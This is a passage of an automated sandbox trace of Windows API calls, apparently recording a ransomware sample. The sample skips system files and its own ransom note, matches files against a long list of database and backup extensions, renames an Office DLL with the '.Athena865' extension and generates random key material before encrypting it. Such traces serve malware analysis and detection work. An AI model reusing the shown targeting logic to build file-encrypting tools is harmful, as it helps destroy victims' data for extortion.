(HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.415] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.415] CloseHandle (hObject=0x17c) returned 1 [0094.415] CloseHandle (hObject=0x154) returned 1 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.416] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x597a6090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="..") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="windows") returned -1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="bootmgr") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="temp") returned -1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="pagefile.sys") returned -1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="boot") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="ids.txt") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="ntuser.dat") returned 1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="perflogs") returned -1 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2="MSBuild") returned 1 [0094.416] lstrlenW (lpString="oisctrl.dll") returned 11 [0094.416] lstrcpyW (in: lpString1=0x241e8aa, lpString2="oisctrl.dll" | out: lpString1="oisctrl.dll") returned="oisctrl.dll" [0094.416] lstrlenW (lpString="oisctrl.dll") returned 11 [0094.416] lstrlenW (lpString="Athena865") returned 9 [0094.416] lstrcmpiW (lpString1="sctrl.dll", lpString2="Athena865") returned 1 [0094.416] lstrlenW (lpString=".dll") returned 4 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".dll") returned 1 [0094.416] lstrlenW (lpString=".lnk") returned 4 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".lnk") returned 1 [0094.416] lstrlenW (lpString=".ini") returned 4 [0094.416] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".ini") returned 1 [0094.416] lstrlenW (lpString=".sys") returned 4 [0094.417] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".sys") returned 1 [0094.417] lstrlenW (lpString="oisctrl.dll") returned 11 [0094.417] lstrlenW (lpString="bak") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0094.417] lstrlenW (lpString="ba_") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0094.417] lstrlenW (lpString="dbb") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0094.417] lstrlenW (lpString="vmdk") returned 4 [0094.417] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0094.417] lstrlenW (lpString="rar") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0094.417] lstrlenW (lpString="zip") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0094.417] lstrlenW (lpString="tgz") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0094.417] lstrlenW (lpString="vbox") returned 4 [0094.417] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0094.417] lstrlenW (lpString="vdi") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0094.417] lstrlenW (lpString="vhd") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0094.417] lstrlenW (lpString="vhdx") returned 4 [0094.417] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0094.417] lstrlenW (lpString="avhd") returned 4 [0094.417] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0094.417] lstrlenW (lpString="db") returned 2 [0094.417] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0094.417] lstrlenW (lpString="db2") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0094.417] lstrlenW (lpString="db3") returned 3 [0094.417] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0094.417] lstrlenW (lpString="dbf") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0094.418] lstrlenW (lpString="mdf") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0094.418] lstrlenW (lpString="mdb") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0094.418] lstrlenW (lpString="sql") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0094.418] lstrlenW (lpString="sqlite") returned 6 [0094.418] lstrcmpiW (lpString1="rl.dll", lpString2="sqlite") returned -1 [0094.418] lstrlenW (lpString="sqlite3") returned 7 [0094.418] lstrcmpiW (lpString1="trl.dll", lpString2="sqlite3") returned 1 [0094.418] lstrlenW (lpString="sqlitedb") returned 8 [0094.418] lstrcmpiW (lpString1="ctrl.dll", lpString2="sqlitedb") returned -1 [0094.418] lstrlenW (lpString="xml") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0094.418] lstrlenW (lpString="$er") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0094.418] lstrlenW (lpString="4dd") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0094.418] lstrlenW (lpString="4dl") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0094.418] lstrlenW (lpString="^^^") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0094.418] lstrlenW (lpString="abs") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0094.418] lstrlenW (lpString="abx") returned 3 [0094.418] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0094.418] lstrlenW (lpString="accdb") returned 5 [0094.418] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0094.418] lstrlenW (lpString="accdc") returned 5 [0094.418] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0094.418] lstrlenW (lpString="accde") returned 5 [0094.418] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0094.419] lstrlenW (lpString="accdr") returned 5 [0094.419] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0094.419] lstrlenW (lpString="accdt") returned 5 [0094.419] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0094.419] lstrlenW (lpString="accdw") returned 5 [0094.419] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0094.419] lstrlenW (lpString="accft") returned 5 [0094.419] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0094.419] lstrlenW (lpString="adb") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0094.419] lstrlenW (lpString="adb") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0094.419] lstrlenW (lpString="ade") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0094.419] lstrlenW (lpString="adf") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0094.419] lstrlenW (lpString="adn") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0094.419] lstrlenW (lpString="adp") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0094.419] lstrlenW (lpString="alf") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0094.419] lstrlenW (lpString="ask") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0094.419] lstrlenW (lpString="btr") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0094.419] lstrlenW (lpString="cat") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0094.419] lstrlenW (lpString="cdb") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0094.419] lstrlenW (lpString="ckp") returned 3 [0094.419] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0094.419] lstrlenW (lpString="cma") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0094.420] lstrlenW (lpString="cpd") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0094.420] lstrlenW (lpString="dacpac") returned 6 [0094.420] lstrcmpiW (lpString1="rl.dll", lpString2="dacpac") returned 1 [0094.420] lstrlenW (lpString="dad") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0094.420] lstrlenW (lpString="dadiagrams") returned 10 [0094.420] lstrcmpiW (lpString1="isctrl.dll", lpString2="dadiagrams") returned 1 [0094.420] lstrlenW (lpString="daschema") returned 8 [0094.420] lstrcmpiW (lpString1="ctrl.dll", lpString2="daschema") returned -1 [0094.420] lstrlenW (lpString="db-journal") returned 10 [0094.420] lstrcmpiW (lpString1="isctrl.dll", lpString2="db-journal") returned 1 [0094.420] lstrlenW (lpString="db-shm") returned 6 [0094.420] lstrcmpiW (lpString1="rl.dll", lpString2="db-shm") returned 1 [0094.420] lstrlenW (lpString="db-wal") returned 6 [0094.420] lstrcmpiW (lpString1="rl.dll", lpString2="db-wal") returned 1 [0094.420] lstrlenW (lpString="dbc") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0094.420] lstrlenW (lpString="dbs") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0094.420] lstrlenW (lpString="dbt") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0094.420] lstrlenW (lpString="dbv") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0094.420] lstrlenW (lpString="dbx") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0094.420] lstrlenW (lpString="dcb") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0094.420] lstrlenW (lpString="dct") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0094.420] lstrlenW (lpString="dcx") returned 3 [0094.420] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0094.421] lstrlenW (lpString="ddl") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0094.421] lstrlenW (lpString="dlis") returned 4 [0094.421] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0094.421] lstrlenW (lpString="dp1") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0094.421] lstrlenW (lpString="dqy") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0094.421] lstrlenW (lpString="dsk") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0094.421] lstrlenW (lpString="dsn") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0094.421] lstrlenW (lpString="dtsx") returned 4 [0094.421] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0094.421] lstrlenW (lpString="dxl") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0094.421] lstrlenW (lpString="eco") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0094.421] lstrlenW (lpString="ecx") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0094.421] lstrlenW (lpString="edb") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0094.421] lstrlenW (lpString="epim") returned 4 [0094.421] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0094.421] lstrlenW (lpString="fcd") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0094.421] lstrlenW (lpString="fdb") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0094.421] lstrlenW (lpString="fic") returned 3 [0094.421] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0094.421] lstrlenW (lpString="flexolibrary") returned 12 [0094.421] lstrlenW (lpString="fm5") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0094.422] lstrlenW (lpString="fmp") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0094.422] lstrlenW (lpString="fmp12") returned 5 [0094.422] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0094.422] lstrlenW (lpString="fmpsl") returned 5 [0094.422] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0094.422] lstrlenW (lpString="fol") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0094.422] lstrlenW (lpString="fp3") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0094.422] lstrlenW (lpString="fp4") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0094.422] lstrlenW (lpString="fp5") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0094.422] lstrlenW (lpString="fp7") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0094.422] lstrlenW (lpString="fpt") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0094.422] lstrlenW (lpString="frm") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0094.422] lstrlenW (lpString="gdb") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0094.422] lstrlenW (lpString="gdb") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0094.422] lstrlenW (lpString="grdb") returned 4 [0094.422] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0094.422] lstrlenW (lpString="gwi") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0094.422] lstrlenW (lpString="hdb") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0094.422] lstrlenW (lpString="his") returned 3 [0094.422] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0094.423] lstrlenW (lpString="ib") returned 2 [0094.423] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0094.423] lstrlenW (lpString="idb") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0094.423] lstrlenW (lpString="ihx") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0094.423] lstrlenW (lpString="itdb") returned 4 [0094.423] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0094.423] lstrlenW (lpString="itw") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0094.423] lstrlenW (lpString="jet") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0094.423] lstrlenW (lpString="jtx") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0094.423] lstrlenW (lpString="kdb") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0094.423] lstrlenW (lpString="kexi") returned 4 [0094.423] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0094.423] lstrlenW (lpString="kexic") returned 5 [0094.423] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0094.423] lstrlenW (lpString="kexis") returned 5 [0094.423] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0094.423] lstrlenW (lpString="lgc") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0094.423] lstrlenW (lpString="lwx") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0094.423] lstrlenW (lpString="maf") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0094.423] lstrlenW (lpString="maq") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0094.423] lstrlenW (lpString="mar") returned 3 [0094.423] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0094.423] lstrlenW (lpString="marshal") returned 7 [0094.424] lstrcmpiW (lpString1="trl.dll", lpString2="marshal") returned 1 [0094.424] lstrlenW (lpString="mas") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0094.424] lstrlenW (lpString="mav") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0094.424] lstrlenW (lpString="maw") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0094.424] lstrlenW (lpString="mdbhtml") returned 7 [0094.424] lstrcmpiW (lpString1="trl.dll", lpString2="mdbhtml") returned 1 [0094.424] lstrlenW (lpString="mdn") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0094.424] lstrlenW (lpString="mdt") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0094.424] lstrlenW (lpString="mfd") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0094.424] lstrlenW (lpString="mpd") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0094.424] lstrlenW (lpString="mrg") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0094.424] lstrlenW (lpString="mud") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0094.424] lstrlenW (lpString="mwb") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0094.424] lstrlenW (lpString="myd") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0094.424] lstrlenW (lpString="ndf") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0094.424] lstrlenW (lpString="nnt") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0094.424] lstrlenW (lpString="nrmlib") returned 6 [0094.424] lstrcmpiW (lpString1="rl.dll", lpString2="nrmlib") returned 1 [0094.424] lstrlenW (lpString="ns2") returned 3 [0094.424] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0094.425] lstrlenW (lpString="ns3") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0094.425] lstrlenW (lpString="ns4") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0094.425] lstrlenW (lpString="nsf") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0094.425] lstrlenW (lpString="nv") returned 2 [0094.425] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0094.425] lstrlenW (lpString="nv2") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0094.425] lstrlenW (lpString="nwdb") returned 4 [0094.425] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0094.425] lstrlenW (lpString="nyf") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0094.425] lstrlenW (lpString="odb") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0094.425] lstrlenW (lpString="odb") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0094.425] lstrlenW (lpString="oqy") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0094.425] lstrlenW (lpString="ora") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0094.425] lstrlenW (lpString="orx") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0094.425] lstrlenW (lpString="owc") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0094.425] lstrlenW (lpString="p96") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0094.425] lstrlenW (lpString="p97") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0094.425] lstrlenW (lpString="pan") returned 3 [0094.425] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0094.425] lstrlenW (lpString="pdb") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0094.426] lstrlenW (lpString="pdm") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0094.426] lstrlenW (lpString="pnz") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0094.426] lstrlenW (lpString="qry") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0094.426] lstrlenW (lpString="qvd") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0094.426] lstrlenW (lpString="rbf") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0094.426] lstrlenW (lpString="rctd") returned 4 [0094.426] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0094.426] lstrlenW (lpString="rod") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0094.426] lstrlenW (lpString="rodx") returned 4 [0094.426] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0094.426] lstrlenW (lpString="rpd") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0094.426] lstrlenW (lpString="rsd") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0094.426] lstrlenW (lpString="sas7bdat") returned 8 [0094.426] lstrcmpiW (lpString1="ctrl.dll", lpString2="sas7bdat") returned -1 [0094.426] lstrlenW (lpString="sbf") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0094.426] lstrlenW (lpString="scx") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0094.426] lstrlenW (lpString="sdb") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0094.426] lstrlenW (lpString="sdc") returned 3 [0094.426] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0094.426] lstrlenW (lpString="sdf") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0094.427] lstrlenW (lpString="sis") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0094.427] lstrlenW (lpString="spq") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0094.427] lstrlenW (lpString="te") returned 2 [0094.427] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0094.427] lstrlenW (lpString="teacher") returned 7 [0094.427] lstrcmpiW (lpString1="trl.dll", lpString2="teacher") returned 1 [0094.427] lstrlenW (lpString="tmd") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0094.427] lstrlenW (lpString="tps") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0094.427] lstrlenW (lpString="trc") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0094.427] lstrlenW (lpString="trc") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0094.427] lstrlenW (lpString="trm") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0094.427] lstrlenW (lpString="udb") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0094.427] lstrlenW (lpString="udl") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0094.427] lstrlenW (lpString="usr") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0094.427] lstrlenW (lpString="v12") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0094.427] lstrlenW (lpString="vis") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0094.427] lstrlenW (lpString="vpd") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0094.427] lstrlenW (lpString="vvv") returned 3 [0094.427] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0094.428] lstrlenW (lpString="wdb") returned 3 [0094.428] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0094.428] lstrlenW (lpString="wmdb") returned 4 [0094.428] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0094.428] lstrlenW (lpString="wrk") returned 3 [0094.428] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0094.428] lstrlenW (lpString="xdb") returned 3 [0094.428] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0094.428] lstrlenW (lpString="xld") returned 3 [0094.428] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0094.428] lstrlenW (lpString="xmlff") returned 5 [0094.428] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0094.428] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\oisctrl.dll.Athena865") returned 70 [0094.428] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\oisctrl.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\oisctrl.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\oisctrl.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\oisctrl.dll.athena865"), dwFlags=0x1) returned 1 [0094.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\oisctrl.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\oisctrl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.429] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22920) returned 1 [0094.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.429] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.430] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.430] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.430] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c90, lpName=0x0) returned 0x17c [0094.432] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c90) returned 0x100000 [0094.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.434] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.434] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 